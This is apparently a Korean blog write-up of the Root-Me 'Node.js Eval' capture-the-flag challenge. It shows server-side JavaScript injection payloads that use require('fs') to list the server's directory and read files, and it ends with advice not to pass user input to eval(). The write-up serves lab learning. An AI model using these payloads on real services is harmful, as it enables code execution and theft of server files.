본문 바로가기
HACKING_GAME/WEB

root-Me#7 Node.js Eval

by asdf12345 2021. 4. 8.

root-Me Node.js Eval 풀고 싶으신가요?

Do you want to solve root-Me Node.js Eval?

 

[ root-Me#6 Node.js Eval ]

Table of contents

#0 Concept

#1 Problem

#2 How to Solve

#3 Conclusion

#0. Concept

eval() 란? 인자값으로 들어간 Javascript 코드를 실행하는 함수

 

#1. Problem

네? 뭐라구여?ㅎㅎ

구글 감사해요~!

 

#3. How to solve

문제에 eval()이라고 써있으니 바로 감이 싹 옵니다. Input 에 javascript 코드를 삽입합니다. 

- TEST

공격 가능 테스트를 위해 응답 프로세스를 종료하고 공격자가 입력한 문자열 "asdf"을 반환하도록 합니다.

var a='asdf';res.end(a);

eval() 인자값으로 javascript 코드가 들어가 응답 값으로 공격자가 의도한 값("asdf")을 반환하는 것을 알 수 있습니다.

- LFI

Server에서 동작하는 eval() 인자 값으로 파일 읽어오는 명령어를 입력하여 쉽게 Flag를 획득합니다.

res.end(require('fs').readdirSync('.').toString()) // 응답 값으로 현재 디렉토리 파일 리스트 전송
res.end(require('fs').readFileSync('')) //응답 값으로 파일 내용 전송

#4. Conclusion

이용자의 입력 값으로 들어오는 값을 eval()의 인자로 들어가지 않도록 코드를 작성합니다~!

'HACKING_GAME > WEB' 카테고리의 다른 글

root-Me#8 NoSQL injection - Blind  (0) 2021.05.22
HacktheBox#3 baby todo or not todo  (0) 2021.04.22
root-Me#6 Graphql  (0) 2021.01.04
root-Me#5 SQL Injection - Routed  (0) 2020.12.20
root-Me#4 Revoked Token - JWT  (0) 2020.12.14